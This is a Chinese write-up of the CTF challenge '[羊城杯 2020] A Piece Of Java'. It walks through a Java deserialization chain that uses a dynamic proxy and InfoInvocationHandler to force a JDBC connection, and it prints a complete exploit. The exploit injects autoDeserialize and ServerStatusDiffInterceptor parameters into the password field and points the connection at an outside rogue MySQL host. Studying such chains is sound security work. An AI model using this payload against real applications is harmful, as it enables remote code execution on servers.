羊城杯2020 A Piece Of Java

  1. 1. [羊城杯 2020]A Piece Of Java

[羊城杯 2020]A Piece Of Java

源码逻辑不难,在hello对设置cookie键名为data进行反序列化

1643187783467.png

问题是用的是seriakiller进行的反序列化,并且用的白名单限制。

1643187950800.png

虽然题目自带了CC但是因为这个设置没法直接用。

看一下题目给的条件,有个InfoInvocationHandler

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package gdufs.challenge.web.invocation;

import gdufs.challenge.web.model.Info;
import java.io.Serializable;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;

public class InfoInvocationHandler implements InvocationHandler, Serializable {
private Info info;

public InfoInvocationHandler(Info info) {
this.info = info;
}

public Object invoke(Object proxy, Method method, Object[] args) {
try {
if (method.getName().equals("getAllInfo") &&
!this.info.checkAllInfo().booleanValue())
return null;
return method.invoke(this.info, args);
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
}

这个invoke肯定是能利用的,关键就在这

1643191436243.png

回到刚刚的hello路由,反序列化之后调用了info.getAllInfo()

1
2
3
Info info = (Info)deserialize(cookieData);
if (info != null)
model.addAttribute("info", info.getAllInfo());

再看给的DatabaseInfo类

1643191652415.jpeg

所以思路很明确,利用动态代理触发InfoInvocationHandler的invoke方法,之后触发connect进行jdbc反序列化

调用链

1
反序列化->info.getAllinfo()->(动态代理)InfoInvocationHandler.invoke()->Databaseinfo.checkAllInfo()->Databaseinfo->connect()

这里最开始想的是利用恶意mysql读文件的,但貌似某个配置没开所以没成功。

写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package YCB2020;

import gdufs.challenge.web.invocation.InfoInvocationHandler;
import gdufs.challenge.web.model.DatabaseInfo;
import gdufs.challenge.web.model.Info;
import org.nibblesec.tools.SerialKiller;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.util.Base64;

public class exp {
public static void setFieldValue(Object obj, String fieldname, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj,value);
}
// public static void unserialize(byte[] bytes) throws Exception{
// try(ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
// ObjectInputStream oin = new ObjectInputStream(bain)){
// oin.readObject();
// }
// }
public static Object unserialize(byte[] bytes) throws Exception{
Object obj;
try(ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
ObjectInputStream oin = new ObjectInputStream(bain)){
obj = oin.readObject();
return obj;
}
}
public static byte[] serialize(Object o) throws Exception{
try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(baout)){
oout.writeObject(o);
return baout.toByteArray();
}
}

private static Object deserialize(String base64data) {
Object obj;
ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(base64data));
try {
SerialKiller serialKiller = new SerialKiller(bais, "/Users/fmyyy/tools/serialkiller.conf");
obj = serialKiller.readObject();
serialKiller.close();
} catch (Exception e) {
e.printStackTrace();
return null;
}
return obj;
}

public static void main(String[] args) throws Exception {
Info databaseInfo = new DatabaseInfo();
setFieldValue(databaseInfo, "host", "47.101.176.40");
setFieldValue(databaseInfo, "port", "33060");
setFieldValue(databaseInfo, "username", "fmyyy");
setFieldValue(databaseInfo, "password", "fmyyy&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");
Class clazz = Class.forName("gdufs.challenge.web.invocation.InfoInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Info.class);
construct.setAccessible(true);
// System.out.println("123");
InfoInvocationHandler handler = (InfoInvocationHandler) construct.newInstance(databaseInfo);
Info proxinfo = (Info) Proxy.newProxyInstance(Info.class.getClassLoader(), new Class[] {Info.class}, handler);
byte[] bytes = serialize(proxinfo);
byte[] payload = Base64.getEncoder().encode(bytes);
System.out.print(new String(payload));
// Info info1 = (Info)deserialize(new String(payload));
// info1.getAllInfo();
}
}

恶意mysql和jdbc反序列化的利用参考https://ego00.blog.csdn.net/article/details/120963327

1643192103414.png

1643192087124.png